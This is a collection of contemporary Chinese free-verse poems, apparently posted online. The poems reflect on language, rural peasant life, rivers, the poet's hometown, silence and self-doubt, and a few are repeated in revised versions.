沉默上升到了一粒种子，为宇宙和世界 辩驳的人们。 春天里面亲爱的躯体， 那个从告别到回来，打招呼的人们。 山丘，田野，土地和庄稼， 在一种莫须有的平凡之路的深刻里面， 起起落落，呵，语言所撞击和导致的后果 生灵一个个，诗人一个个，告别为何。 第1111章 111 如此的困难， 如此的简单在很远的地方。 很远很远，如果是回声， 希望它能一直回荡。我的想法 简单，很天真。我的心 肉长的，再往下，不诚实。 是农民的。 像空气一样。 困难在于那些竖下来的一条条 小方格和带子。 从这些规矩里面我们的父母， 爷爷辈要做一件事情。 比如端水， 把一个简陋的却又称作了家里 为数不多财富的铁盆子 去河边盛满了水。自然之水它多么的不值一提， 时代的牙缝需要的是肉 一切有肉的东西细丝一样塞满了它。 把盛满水的盆子放在木头架子上面 一个高度，轻轻弯下腰，他们就可以洗脸了。 他们或许刚刚从地里干完活回来， 一群人冲往土地，一个人看着另一个人 路上，，。。 《路上》 同沉默一道，并行的 雷声。雷声响起 在一条乡村公路的某个岔路口 没有人会在雷声被符号化了的 路牌底下提及怜悯。 气喘吁吁，身体的疲惫自动把怜悯覆盖。 在公路上面成为谜团的事物何其多。 作为一个路人，我常常能听到 一个又一个来者和过客叹息着。 我尽力的让自己的身体轻些再轻一些 对于告知，或者某个最终脱颖而出的智者 对告白我丝毫没有了兴趣。秋风吹过去 至少能从我身上掀起来的一片绿意。至多。 无能为力跟沉默为伍。难不成他们的意图 正是把这一切区分开来。难不成在我的心底 还是藏着一份，试图跃然而起的勇气。 一个农民，扛着锄头，路边走着 水泥浇筑过的路时间长了就跟田野 不再有那么突兀的感觉。我走着， 除了走着好像什么也做不了， 沉默里面有时候会升起一些星辉。点状 像白天的来源不明但去向是空冥的星星 最为重要的是，会以中途碰撞出短暂的声音为目的 还赠予我一点，接着又一点点的放松。 我误会了一点点是开始减少的意思。———— 这就是我忽然得到的回答。 那些多，草一层层，但远远看去却只有地表的一层。 我继续走着，思，早晚要归还给父老乡亲。 我看见铁质的站牌下面站立的人们。 我们都认同的事情是站牌共识于等车，指引岔路口 提醒人们前方会到达哪里。 我们都是从那种共识回来，不断碰撞的星辉一般的雷声 继续，我还没有到达农民。在这个路途上面有一些转弯 一些曲折。文字的不同是有人的劝诫，谏言 搅乱一些操心民族命运的云团之时，文字的表达形态 也生出了变化。————这也是一个谜。 云南，，，，，， 《云南》 是太远导致了分界，崩断 还是反之。 抑或准确与而言都只是我自己 我这个个体个人的证词。 我说，好吧。 那就让他们在我们思想之中发生。 干脆一点，让它发生。 ————什么发生了呢？什么 是否发生的事物，事情。犹如脑海之中那 石头。 也需要想象，需要联想，语言之污秽多多少少的配合。 新的丛生出来的事物， 几乎简直可称作了：从莫须有， 莫须有引起怜悯和悲悯之上的无中生有 和下降。无中生有的下降。徐徐。 我就是迎着这种东西， 又面临着想象所带来，仿佛不可避免的掺加。 好吧， 孤独者，就请你加入一个队lie，借此 你收获你的群体性，你的孤独 那些倾听者的沉默让你在族群和整体之中孤独。 如果有人此刻正比你更加妄加揣测一般 把大地想象。他行走，迈步，但是他平常 正把手揣在兜里，兜里攥着单薄的人民币 走向那个两元超市。 于是，那里有一条大河，大河的奥义在于 无论你是谁，都不可避免的让水凝聚， 再慢慢的让水流出现。 让河流出现。但阻碍它。于是， 让宽阔的河流容易让我们误以为是雨季 来临的原因。 大河诞生了，同样大河因此虚无了。 大河的定义在于不断的误解之中失去了。 呵，动词，动词，还是动词。 莫须有的大河边我站立着。我 竟然变成了那个对于想象不得其解而角色变幻的人儿。 呵。近邻于想象的将是永恒性的错误。 如果我对此坦诚，提出我自己，微不足道者的困惑。 我的看法，眼睛里面，天上的星辉消失不见。 星星下黑色的田野，黑色的声音， 是否因为云南对于一个山东人来说太远了， 于是，在我看来 我跳动的心脏推动，云南的雷平阳与云南之外 其他南方诗人，北方诗人的区别 这些群体抱团，抱团取暖，汉族自身的怜悯，小家碧玉 渴望面对着更深层次的自我掩埋？ 一条让人消失于无形的乡村小路，我揣着几块钱 想去两元商店买点想买的东西。我 并不太确定 多多2 多多 《多多》 对于长久焦虑的人，靠近 意味着与整个世界的靠近。 整个世界的在靠近 是一种自然现象，里面有手 抚摸，摸索，寻找着。 我是说疼。对我而言 确实有关于疼，疼它自己常常的想象。 但并不是那手，自然之中引起 事物前行的卡顿。停顿下来，需要去反思 是否就连事物本身也是可疑的不成？ 一声惊叹，捂着自己的脑袋它找到了我。 我一脸，二脸的恍然。难不成 起身之人早已经束缚在了无形， 语言的命运之中。难不成正是带着这种自我 身份的怀疑我才发出那诘问。 我靠近大地，因我觉得大地如蒲团，摊开 它可以把很多事物都一一接纳。 疲惫的这样子的一种变形，样式 落在地上的火焰嘭溅出了许多火星。 其实我早已经迷失，我伸出了手 摸索，探寻，寻找着。又感觉到了疼。 这些中途偶然清朗的收获，对一个 普通人而言已足够多了。 河岸 《河岸》 嘴巴张开。是牙齿推动了语言 红褐色牙床堤岸上 竖立一根根白色的树木。 是语言推动了道德，确定无疑。 没有语言谈什么风火牛马之事。 谈什么眼前映入眼帘的事物， 庄稼。 只可以让一切在现实中 更为长久的逗留。从青葱，幼小 在结果后失去了耐心，但在无尽渴盼的衰老中 依然继续着枯萎。 事物是多灾多难的代名词， 追求一个取巧，再焦虑 或者不是焦虑却配合以怜悯。穿鞋的人 冬天之人走到了河岸边， 叹息。为什么要由庄稼回到事物 一级台阶或，一个轮回。 一个虚空彼岸的影子，以语言来告知。 声音拂过大河汹涌的水面，变得微弱。却因此 才被听见。因此才被当做了一种冥冥之声。 那些人的声音被告知需要庄重， 因此需要思，配合，需要日暮 残阳如血。呵，也要等不到那个归来骑马的士兵。 地里的庄稼还剩下了多少 枯萎向上的玉米杆还有多少。 这双无形的大手，清点一切。 这破旧，随时会熄灭的包裹，渴望 把一切都带走。 如果错误将起起落落如面前的江水， 生活在黄河边的人们 却出于山峦的阻碍和耳目闭塞 人生到达黄河的机会寥寥无几。 到达的第几次才开始了思考， 那些徒有其形，那些肤浅 语言也不是真的，真， 则被真的不断的否定和抗议。于是 只有一个沉默的老农民才可以把语言说出。 悠长甬道他一生都听不懂，蓝天的变幻 村庄的变幻， 路途的卷曲。在他看来，土地 困住了他。他劳碌，靠天吃饭。渴望 增加收入，渴望雨水，渴望减少sf。 农民的失声的琴键其实因不诚实， 因在时代的变幻中也在变幻的 一颗颗心灵。 如果农民确确实实决然的离开了土地 很少再把如何种植土地，如何 在大雪天里追赶野兔谈论。他开始谈论的 是城市里面的房子，是小心翼翼里面的灯红酒绿 一次出轨。 一次次出轨的默不作声的窃喜。 把村庄的荒凉丢弃给谁，如果这种荒凉不是什么坏事 如果才能找到那个，语言的支点。 那里才有一面无形的镜子，方方面面的 把一个肤浅之徒的胡言乱语，映照他粗糙的面容呢。 那里，我来了。两手空空，两手徒劳无功。 燃烧这些语言我看到了一个拿着打火机的人 干燥的玉米杆，干燥的道德，变得干燥和渴望干燥的 语言。牙齿的最后据点。 把道德感推动，别的什么，则需要一个特别平静， 认识深刻的诗人。 岷江4 《岷江4》 为谁而起， 为何而来？？ 让河的波浪为谁而起， 平凡再平凡，失去了它的意义 意思的星辉理应当黯淡无光。 让土地再次把平凡包容。 窃窃私语里面让语言继续 让人们误以为那只是沉沦 起降，直到船帆的形象自沉沦的深处传来。 人一整年都会被最深处所困惑， 出于怜悯，而怜悯同样微不足道 松绑了一些， 接着再次的，才可以从它们的外面敲击。 岷江5 《岷江5》 为了慢和关怀， 尝试书写的办法，一笔一笔。 体验被追赶，被追赶上 慌息被证明是自己的猜疑。 体验被丢弃的感觉。 感觉和我一直都在，却什么都 不是，做不了什么。 往晴空里面投掷语言与幻想的雷声？ 杜撰的后果里面，为人类的窘境哭泣？ 回程撞上不幸的妇女，心内藏着的一朵梨花。 为了迟钝我什么都可以放弃 被视作了弃权后开始漂泊的生命。 一个没有底的深坑，那些笨拙的文字 发出着光亮，它们又纷纷为填补而跌入。 如果不为了慢，又是为了什么，为了慢。 岷江6 《岷江6》 还能看见光明， 实物，此刻对着实物说话。 实物是光明的衰弱， 我猜测在正在下行的光， 需要一条蓝色的甬道。 我无力的抗议，我也抗议 停顿和停顿里面的妙处。 抗议自己的抗议， 从多么无力那里，我才属于了 别的什么了 我听见了悠远的叹息， 回声在墙壁之间。请把我平庸之徒的身份 委婉的告知。 旧时代里面的铁匠， 用锤头敲打着钟， 声音和光芒混同，如今的我们 依然属于他的一小部分。 千古，，， 《千古》 需要用语言， 用灰尘。 在语言之中有多少个台阶。 多少个空空的日辰 如果你不问，并不是沉默， 也绝非无力。 你爱着的令人倦怠， 多少个空空的日辰会因此而 回过头来反问你。 语言一直被需要的情形就是如此， 有时， 爬到高高的山头， 我就能够看到千古。 时间，我重复了一下。我往下， 我轻轻的重复一下。我起身， 攀登， 亘古之中有着的那些细丝和小孔， 像此刻对于我的哲理而言， 它也有着它平常和普通的情形。 村口，，， 《村口》 你梦想。 白茫茫的远处， 远处的雾气 雾气里面的群山 包裹住你的梦。到达你 来吧，递上我笨拙的弦音。递上 连我自己从来都不曾表达清楚的 语言和情愫。 无数颗星辰，落入河水一样 打扰着我的心。在表达中丧失，落下 从倾斜的地面滚动着 我等待它们落入河里的时刻。 我失去了耐心 我敲一扇没有门的木头。 我梦想一个你， 来自于我，并不梦想通过语言拯救。 我从那里开始。 县城，。， 《县城》 放松， 太长时间的等待。 匆忙的我们， 就这样给予它称呼。 空中垂下那，曾不自然的手 多么美丽的花儿， 只有一个冬天， 只有一个河岸对面。 只有一朵花儿， 但并不只有一次机会。 我，需要面对多少次回答。 因我而起吗？ 那么，是否足够的问询，本身 就带着寂灭和终结之意。 我带着无形的脚链 行走。审判，深入冬天里面 寒冷裹挟的越来越大的谎言。 如果此刻我看向了什么， 那它就是。那空空的语言， 空荡荡的天空， 我能看到，想到的皆空的事物。 人，人是否能把温暖带来。或者 人应当熟视无睹。 我跟他们一样，需要众多的 同样的心思， 同一个心思，上升，形成。 共同的呼吁， 在事情的没有结束中，怜悯已是可笑的。 戏曲，，， 《戏曲》 一千支手掌， 戏曲中。 呼唤，呼唤内容中 个人的失去，我更加的渴望锋利。 如一同一般去呼唤推动。 平地上的辽阔，在于没有悬崖。 甚至，请占有了我的位置。 没有我，这个多需要极端的情形 又应该在平常之中发生。 光，偶然，光的偶然之后是失去。 那些从悬崖上面心存着幻想的人 属于旧时代。 火焰焚烧过的污浊的脸庞，和一双 明亮的眼睛。 如果从眼睛里面取出了 令人意想不到的剑。 请人们能够接受我贫乏的中断着的陈词。 我热爱这些登台时，脚步踩着的 实木却又单薄的回声。 我的脚步正是大地的源泉， 把故乡放在一个脆弱的人儿身上吧， 让他承受他不能承受的思。 幻想的时刻发生，一千支手掌 共同抚摸着或许新鲜的现在。 故乡，，，， 《故乡》 在大河上，悲伤来自于人类的驻足， 时间在不停之中把什么抛了来。 我贫乏的只能， 调整微不足道与盲人摸象的词语。 冬天的窗户外面，矛盾着的也在温暖室内， 窗外结起了冰。多么小，就多么珍贵的寓所。 群星一颗又一颗，是那美好的众多。 群星来自于人类渺小的身体，人类的身体 请你在我喃喃自语的平面上理应如此。 而我将因此滑向低矮的山谷。我将平常 这是多么平常的事情，连绵不绝 我将什么，空气一般的扔了出去。 我的心，那里依然长着青草，山坡 仍旧放牧着羊群。故乡的河流是一条 中国人的母亲河，是一条大河 再也不能更为的投以感激和伟da， 我们应该幸福于，当那些破碎都是一些 在生活的大地上面发生的平常之事时。 多多4 《多多4》 听过了那些苦难的历史后， 我拿起一根香蕉。 是否，如果我不停的吃，一根接一根 就能听到那些 过去人们对于食物和幸福生活的渴望 和不能呢。 年，，， 《年》 把茶杯放进盘子里。 把水杯清洗，扣上盖子，摆放在桌子的一角。 把衣服折叠好，放进衣柜。 把碗清洗干净，摞好了，放进橱柜。 把我也放在书桌前面吧。让我看着桌子上面 那些斑驳，脱落的黄色斑点。 万事万物都有它们的位置， 包括脱落和褪色在内。 生命 《生命》 生命很轻， 所以夜晚要温柔的睡去。 微风习习，落叶飒飒 夜晚，当你沉入了梦乡。 你比自己白天所走的路途还要远 还要多。 你梦到了竹林，它们生长的样子 跟你对竹子的想象一模一样。 从竹林中会走出， 善良贤惠的姑娘。 你囊中羞涩，你内向 她依然愿意陪你去远方。 可是这梦好快，天就要亮了。 请你牢牢记住她的模样， 记住一个莫须有的约定和誓言。 天一亮就动身。清洗，穿衣，打扫，保持勤劳 就在这个世界上，如果 她也做了一个与你一样的梦。 过去，， 《过去》 在诗歌浅薄的阅读， 打开来的应当收起。 带着恐惧也应当探索 追溯那个nian代。 请把打开的尺子收起，收起那 错误的刻度。收起自己的肤浅， 侥幸和懦弱。 短暂的怜悯，它那关心人类的 善意并不可笑。 夜晚的星星也会自嘲，自叹 它们正是那些， 寒冬里面从大地上升的人们。 把希望之光带到了天空。 在一个悠久的历程之下， 我和你，阅读。在温暖的烧着火炉 开着空调的室内阅读。 磕着瓜子读到了文中提到的颠沛流离。 诗歌所给予我们思索的困难都是幸福的， 先辈们巨大的良心， 我们是他们的不曾远去。 或许，随着逝去，馈赠才发生了。 很平常，又没有声息。心中还渴望着 能够吃上一口大白馍馍。 无雪 《无雪》 请不要先告知我，从你内心的善意。 你将是被美抛弃以后自然的衰老。 依然美丽，却并不追求于青春。 请给我时间，从羞涩，试着去欣赏另一种美。 雪花般一片片的飘落，在寂静中堆积。 即使，今夜没有下雪。你依然有着充足的耐心 明天的雪的尺子，和一双被冻的， 把人儿冻到了一场寒冷里面梦幻的手儿。 你使得我，我也使得一切，在现实之上的梦幻 多么温柔的。 事物，，， 《事物》 两个事物紧紧挤在了 一个狭小的空间。 里面，还要再往里面 可能，我趴下身子 向井口一般的地方观望 会传来不断回荡的回声。 只有两个植物才可以共享 同一个事物一般的称呼。 当一株紫罗兰在黑暗里面太久 当观察者轻轻的走来和走近 我踩着不断下行的台阶， 把我自己梦想投进了一棵 或两棵紫罗兰。 东山村，， 《东山村》 半山腰，小地方。 尝试在那里活着。 活不下去就去到城里。 我的想法也在那里活着， 它还没有去到城里。反之， 对于土地的未曾深入， 在土地之上漂浮的人和想法 无论是否正是它自己 把自己给捞起。 为何，， 《为何》 活让活活着， 还是别的什么。 我能想到什么， 就是什么。 我能想到你，我想到了你 那你是什么， 你又是为何而来。 当我的耳边传来轻柔的 脚步声音。 是什么让我想到关于存在的困惑 第13章 《13》 那是一段短暂的时间 如今，却依然可以让一个读者 感到自己仿佛在被等待 用书写的方式， 一笔一划相比于阅读的缓慢 也可以并排于你的诗。 那是你们相爱的时间 那我，读者。就是一支木船 河面波纹渐渐散去， 我的额头抵住春天的岸边 一男一女上了岸。 请让我在继续阅读之前 珍重的写下，对你的 这首过去的诗歌的祝福。 请你们结成伴侣， 请你们保持热忱，朴素和勤劳。 大地上光辉的星星从不曾一蹴而就 人们容易被世俗的悲伤掩去眼神里面的光泽。 请让我长久的做一只木船而缓慢的腐烂 把我的话语投进水里。 让我的脊背宽阔无比。 无题080 《无题080》 我以为那是什么呢， 不断追问的紧迫，和停顿里面 像在这幅被需要的皮囊里面 更深的存有沉默着反问我， 我以为那是什么？ 海是空无的，到达之路，那种 空在那里。 那种肯定也在那里。如果我们都一直 是简单幼稚的人。我们下降。 身体下降，它疲倦，疲倦的是它 疲倦的是海涛上的动植物。即使埋在沙土 对沙土的掩埋有着或许可笑的幻想。 在我的心里是否也存在一个地方， 手的语言是幻想的雷声。但迟早都会到来。 因此我的疲倦滑稽，没有尽头。我 难以停下来，此刻隶属于，需要持之以恒和 勇气的更大部分的一小部分。 灯在灯里面是否是迥异，别扭的东西， 从不自然到不自然。被称作一种病症 人的蛮力，但我无法反驳和否认，蛮力之人的 胜利。那些同样春风春雨一般的告知。 有人能告知我就足够感激了。告知，告白， 告诉。铺就一条路，在上面自由自在的行走。 响起 《响起》 世界被偶然呼叫了一下子， 从偶然疲乏的想起 那里也还有，带着早已经心知肚明 无果的拯救。 文字特别靓丽， 或只可以归结为文字。敲木头 会回到文字。 中间的路途不用提及， 甚至对我们而言，如今头脑中联想的风暴 已经无暇顾及它—— 文字是坚实的。 我们的辩白，自我安慰着他现实里 孤独的处境， 或许也带着一点点流光溢彩从文字的 坚实，一旁滑落。 呼叫世界的真的是人吗， 具有怜悯的垂思的人，足够了吗？ 他又准备做些什么。 刚才他阅读到了，古代人蜀道难的 翻越一座座大山的困难。 是否他已经开始退却，退堂鼓的声音 大地是退堂鼓的鼓皮。 世界， 取出来的锤子证明着自己的沉重。 现在，我没有敲一下， 从那种完整性，我所要求的收获 我心中所存在着的，一直都有的侥幸。 无知，， 《无知》 但是间隔啊，间隔 间隔拿起了脆弱。 但是间隔啊，间隔 那是什么？间隔温柔。 作为人我要的是人， 作为具体， 从虚幻到现实，仿佛我 已经交出了我所有，而组成了 一层层的幻想。 在停顿的时候我说话， 如果在说话的时候， 证明我是一个倔强的人， 这一些误解。丛生景象里面的这一些些的 无知。 炉子，，， 《炉子》 往火炉中添加木柴， 火焰快要燃尽，火炭通红 源于欲望我不停的把 地上较大而省事的木柴 往炉子里面放。 放了很多，放的同时我忽然想到 对贪婪的克制。 克制的本质只是贪婪侥幸 于一个懦弱生命上的自我欺骗。 但它此刻如此的真实，就好像 只是它自己，它就是它， 克制就是克制。 克制可以成功，并在美好的幻想 里面。同样一个美好的自我朴素的未来 躲避过了苦难，欲望和孤独 我把那些投进炉子里面的木柴 往回拿了几根。 有一些已经开始燃烧了， 燃烧之中，它们更加属于木头 木头之火中的克制，克制它自我的声音。 我没有拿回它， 起初追求于一首专注，哲理性小诗的意图 也没有能够拿回。 东山村，， 《东山村》 是否，人类最后的陈词 或者每一个人都会把，有关于 平凡，普通，以及对于 庸庸无为的失望丢弃到生命的最后。 衰老时很长时间，头脑已经开始了 失忆和木讷。 白茫茫的一片雾气，水域。失语症者 让所有人都避而远之。但每个人 都会在捂起来的耳朵，闭上的眼睛 甚至严丝合缝的室内听到 一个词语：海。 最大的误解之上难不成我们无从辩驳 真是从哪里，先zhi迟钝，瓦匠，石匠 重新盲目的回到了他们的青春，他们的手 建起了坚固的并不盲目的房子。 海， 还要更远一些。 海，一定也意味着村庄的衰败。 景象凋零的一声声徒劳无功叹息与追忆。 哪里才有着我合适的时机呢， 还是什么位置。什么无意义的语言 在深秋的树木里面以重复来自我安慰？ 如此具体的处境 所思所想也并不属于我。我被 某一种无形河流一般漂浮着的东西 吐了出来。我抓住了它 短暂之间又是失去。 庸俗，， 《庸俗》 庸俗起跳着， 只是形状不同。 坐着庸俗，却感到了炉火暖和。 想上厕所庸俗，但很快意。 如果没有人是否庸俗只流语言 如果有人， 在我自己的空无的体内， 它停留，却并不满足于，我 如此庸俗试图提供出一个理由。 是我 《是我》 是我， 黑暗里面是我， 黑暗中是我。 孤独中是我，之前 非我所愿走的有点着急 我想停下来，想 静 下 来 想在一句注定徒劳无功的句子里面 说错。 我能否摸得到，巷子的入口 入口处是否有一扇门。 我就是从那里出来的 灯光微弱。 也不知我是怎么回事， 就走进了黑暗中。 是我。 南方，，。？ 《南方》 在一个南方某个山丘的阴雨天 行走时。我不断告诫自己 一个肤浅之徒因此会穿越的 不仅仅是几千座看不清楚，空有形式的山。 从古代穿越到现代，现代穿越至古代， 我闻到混合的气息，配合思想的必不可少。 轻易的我就能丢弃我身上的一切事物， 当那些通过我的眼睛，耳朵和皮肤 源源不断依然在进入着，到我的身体。 我的丢弃总是归咎于自然，再往前 是出生。把一个事物拿起，扔了出去。 扔出了很远，一定是。 所以，如今追悔莫及的心情会让一个人 一下子走出那么远。蚕豆山， 我听附近的乡民这样说。我真怕他 一下子就拥有了我的一些恶习和肤浅 一个一个先知从他朴素为一个两手紧握锄具那里， 不禁为更深的寂寞，再次触动一阵风铃。 悬挂， 《悬挂》 把每个人都想象成上帝 舌头上面长出的绿色钉子。 错上加错，因错误才得以幸福。 难道我只是在谈论幸福的空幻 镜花如月，人 从来都没有把语言当成，一面 需要把每一个具体，富有耐心 才可以按进去的墙壁。 山峰的高度被谈论，远一点一点从遥远 变成咫尺。 会从高处悬空，从高处掉落。 对掉落而言悬空是幸福的。 悬挂在腰间的一根绳索，组成了它的 质料是依然可以侥幸，最终可以存活。 何妨不说，是生命落在了生命， 他自己说出的语言上面。 说人是不屈的。他自我断定，甚至 还会付之以行。 把这些赐予孤独者吧， 被揭示的可笑的天平倾斜了太久， 像永恒处于倾斜之中。 老虎，， 《老虎》 驮着自己的金色上山， 有时，也驮着自己的名字上山。 被人定格在那里非它所愿 它只想退回到自己的山坡， 自己的小窝。睡一觉，该吃素食。 它已经没有力气了，捕捉到它的 甚至只是一支笔。 毛笔，铅笔，圆珠笔。 它以为只要它坦诚的交代， 武松打虎只是它最为荣光的时刻， 但已经足够的遥远。万事便大吉 在一支薄薄的白色的纸上， 用景阳冈的钥匙，锁住一层白白的雾气 让一只纸老虎，看不清楚 只是在里面沉睡。 便签 《便签》 小米便签提供了 在纸上书写的便捷性。 蓝色的这条甬道，它一路尾随 它只是暂时的沉默。 它全部的样子显露无疑， 当我看它的时候。我感到的遗憾 对失去和脱离的忧虑找不到任何的证据。 提供给我的便捷性， 打一个字比书写一个字更高效 我不会再遗忘什么。除非我紧张 想的太多，归为灵感，又再也找不见。 我甚至会记得住一切， 对有所遗忘，就会在夜晚敲门。 我一览无余的记忆着。是否因此一个物体 就确确实实是它自己。 炉子是它自己，炉子是炉子，炉子 会把炉子的语言，动词一般的在自己的表面 不断的吞咽。 我喊出了一个事物叫炉子，正因为 首先， 我想到了它。联想的最近处 在那里，同样是忧虑和怀疑。它们压迫着我 ————是否，便签所提供的便捷性 它正是要追求，把我最后的一点点怀疑的位置 来抹除，来弄掉。 那么，此刻打字书写的我是什么 对于便捷性依赖，无法摆脱的我是什么。 我紧紧抱住了一棵空幻的树 在虚无的湖水里面幻想着自己的成功。 在一条笔直的路途上面，行走着，谈论遥远 谈论人的悲鸣，事物的悲鸣。在事物表面 发生着的枯萎，斑驳和脱落。 多的言过其实，大河的不过如此。大河沉默 因果抛出者的，对我的不予理会。 我手打此刻的三十年，五十年， 一百年，一千年。 呵，一万年使我周身颤栗。也会使得 人类害怕我的，想象里面，会有一整个人类族群的恐惧。 这便签和科技的源头， 这一整个人类对于一个人类个体的安慰和招安。 把恐惧放入我们自己的内心， 秉承怀疑之火，而因此才得过且过。 最使我不可相信的话语，平衡术。 要带着轻蔑，不相信来说出：当那属于创造者的 伟大的时代。 脱颖而出的浪花，微小了再微小 把我的质疑和肤浅扑了上。 旷野，，， 《旷野》 抛出一句那种诗歌 再没有犹豫，看看它的内容。 流逝，羞涩 不给看的给看。于是，看的是 无形， 看也因此而是无形 是，声音。 无形的声音。从一开始， 人类就应该身具闯入一片空旷的勇气 那些我们所平复的文字 更为细小难以察觉的，秘密一般的颗粒 即使，一片荒凉的旷野 庄稼收割过后，又如此的平常。 无题084 《无题084》 我还是在确定， 把今天的房子确定。 在沉默的心里没有做声， 房屋出空明。 确定看到的一切， 但也止步于室内。 如果我能确定文字里面 尚未到达痛苦的怜悯前， 如果我无法想象的肉身的平静 置换的枯竭。 那里，一些语言之光太阳光一般明亮 太阳光和所有光线的起源 所有的断定的语气是崇高的。 怀疑和侥幸只是它很小的一部分。 那样子的历史，里面有许许多多的人 无一不仰头看。 从狭小的斗室，从我对于微小的想象 对于人的想象中含有的怜悯里面的嘲笑。 并不是我变作了他 所以我再次的看这些， 我眼睛里面的景物。 是要牢记，是为了防范，难不成内心的危机 萌芽的状态早已经成为了过去。 藤蔓，植物，攀爬在房屋墙壁上面 布满了它们，纵横交错的植物。 。。。。。 虚假 《虚假》 如何与一段酒后的语言对话 虚假的洪水里面真实。 我着急了，我甚至更加的 因某些原因而有了醉意。 呵，从那醉意的嘴里 最深处的我被另一个人给吐了出来。 仿佛混淆早已经无关紧要了。 虚假， 虚假 《虚假》 如何与一段酒后话语对话 虚假的洪水中含有真实。 我慌张，甚至因不知所措而同样的 有了醉意。 呵，我醉的更深，直到醉意最深处。 我变得手足无措又毫无办法。 我求助，那拯救者的嘴巴张开， 语言拯救的金色的光辉，他把我 从他满是酒气的嘴里给吐了出来。 不爱 《不爱》 谁也不会热爱一株路边的树木 树木掉下很多的叶子。 也不会有人爱树木跟前， 快要坏掉的花岗岩地砖。 被人们用脚不知道踩了多少次， 人们说那从地面上隆起和坏掉是 某种无声的抗议。 不是不爱，是在不爱之中更加的不爱。 我好奇的是这并非厌恶。 明显的爱与厌之间，并没有必然的河岸。 那么，从树木，大理石地砖，直到我自己呢 直到站在那里静止的你自己呢。 不爱，不爱。。不爱的不断重复里面 有冬天萧瑟的景象，有心灵对于绿色的追求？ 我们开始对于重复着的“不爱”也生出了厌恶 当极其自然的语言惯性， 不爱树木，不爱石头，但我们爱自己。 爱它在冬天的寒冷里面暖烘烘的， 以爱来为自己。提供出对抗人类冷漠 源源不断的爱意。 降落 《降落》 在幸事里面有喜事， 只要人放松人就什么都可以做。 比如，语言降下 从文字，直到想象般不需要再说些什么的短暂。 抛出谜团的人离去。 离去的人义无反顾。离去的分明是 一颗心。 语言是星星， 谁会在人的唇边。在枯燥的河岸，在北风 微弱隐约的声音里面 把故乡寻找呢。做梦的时候， 事物和它们的出处一一颠倒。 为了再次的做梦，就需要有回还。 总更多一些。回还甚至超出更多。 做梦变得越来越无端，这一行为 即使人们用了最为尖锐的矛 和最为极端奇怪的语言。以及 那个走到冬天结冰河岸边的人 还有那些持重，缓慢到仿佛停滞的诗言。 ————如果我是错误的，并不需要等到最终。 我也愿意倚靠着终点，像 背部是坚实的。 我的辩解，大地对于拟人的熟悉远比我们更多。 迷恋 《迷恋》 她是我见过的最漂亮的女人 她在我的脸上， 也踩下了漂亮的脚印。 随着年龄增长， 或许一切正在慢慢消逝， 空的这些断定，无形着的最为致命 为反驳和抗议 在未曾到达爱情的忠贞 你苍老的面容之前 我抬起了头。 东山村，， 《东山村》 像种地一样的阅读， 避不开的那农民的陋习 群居的农民 大地纸张上面，书写也像 正从地上耕耘，犁田。 以灌溉而不同和亲缘， 亲近着的彼此介绍，这些古已有之的 事物。 收割也是不同的。 人也是不同的，我猜测村里出了一位 地里种田时忽然顿悟的神妈妈 她说， 只要那镜子一摔碎。 当人们对于耕耘和收获之间的漫长太过于 急躁 书写所触及的地里面埋藏的果子 传出虚假的铃声。 摔碎它，那么，从虚假一次次 混合着失败 就回到了种植。 人是疲惫的。 手指 《手指》 小于灵感， 那是世界无法被人们证明对与错的 终点。 那是证明了也无法反驳的，人 最幸福的时刻。灵感的火焰 和火光， 划破了人的手指。 疼哦，就蜷曲收拢起来的手指里面 还包括 曾收图伸出来去试试火焰的想法。 一粒粟 《一粒粟》 一粒粟让它的 外形多变。 一粒粟是一艘木船， 一粒粟有时候是五谷丰登的粮食。 是谷仓， 有时我顺着河道走的路途也包括在了 一粒粟之中。 从袋子里面储藏的种子 并不具有我语言试图给予它的丰富内涵。 而恰恰是这是错误了，想当然。需要反驳的。 那一粒粟便从口袋里面 迎着人们的阻力最终来到了田野上。 在春天， 一粒粟有时候又因为气候而与人们和解了。 从人们的手掌中种下了 一粒粟。 种下了一条水盈盈，可用来灌溉的河流。 九重山 《九重山》 从少到多， 从微小出发，慢慢地去到达 去看和接着就能够看到 树的枝干，树干的纹理， 使一切变得沉默和安静的 是树的叶子把喧哗压了下去。 我的迟疑比我所想象 还要顽固还要冷漠。 有时候只剩下了我自己， 迥异的zan歌为否定曾经抵达过而 吟唱。 从一到多，却并不具有更多 和更为丰富的意涵。 小的珍贵也并不出自于这里， 对于“小”的理解不多。 知之很多时，或者人依然会发生的 误解之处。 也是这里。 我不知道 《我不知道》 我不知道那是事件， 我的陈词是， 我并不知道，那是 \/ 一次事件。 辩白同理。辩白 准确的。也是一支必然会 准确命中的箭羽。 \/ 我也将迎上那支箭羽， 平常之内，有一支鼓一支敲击着自己。 并不神秘。 \/ 推开了窗，我看到天空 一行鸟群飞过。 读吧 《读吧》 不静干脆就书写一遍， 心一横， 就写横。横在错误处， 字字多出了一横 每个字都更横着。 看那句诗的意思，还是 大坝拦水。 而已经到了汛期。 这份无奈比之干旱，不长庄稼如何， 比之种植之后偏逢连天阴雨如何。 心一横， 但你绝不能在温暖的室内 不听那些农民的哭诉。 心一横，你的心一横无足轻重。 他们的心一横， 决绝的土地，日渐稀少的村庄 就只有乌鸦和荒草 只有逝去的身影在山坡上一次次的回头 望向故乡。 读吧，， 读吧 《读吧》 不静干脆就在纸上写一遍。 心一横， 就写横。横在错误处。 字字多出一横， 每个字都横着。 看看那句诗的意思，依然还是 大坝拦水。 却已到汛期。 这份无奈比之干旱，不长庄稼如何。 比之种植之后偏逢连天阴雨如何呢。 心一横， 但你绝不能在温暖的室内，不听 那些农民的哭诉。 横眉冷对。 心一横，你的心一横实则无足轻重。 缪误的门外空弹琵琶，错上加错。 你是要到达上一个春天， 夏天，还是种植时节之雨？ 他们的心一横可不一样。 那里有决绝的土地，日渐稀少的村庄 荒芜上坡上的最后的 容身之所， 心一横，他们就惨淡到只剩下了 背影，空的 透明的。心一横，最后的力气 落在了荒皿，成了你读到的第一句诗。 圆珠笔 《圆珠笔》 死亡之后的平静， 寂静是怎样寂静之姿。 怎样的姿势，如何 如何蜷曲起来。 我看到墨汁中，是两个，是一对。或许是正准备交配的虫子。 是动物的一生无关于耻辱 连死去， 在死亡身体之上才刚刚开始， 有了蒙尘。 有关于道德耻辱，我便看见了， 除了靠近时会有明亮的界限和光线。我从那里出来 我看到身体平静的散发着它们无声的 诉求。 不得不做出改变的语言，语言里面 人们要向它们自己藏起一把刀。 人们判断，把判断一次次收归人类 让人类的看法，想法，以为是。 如雨点落下。 让空的地方有我的容身之所，让我 为可疑辩护，可疑把懦弱掩埋 让我只是偶尔才提到动物， 却又把它们当做了主要。 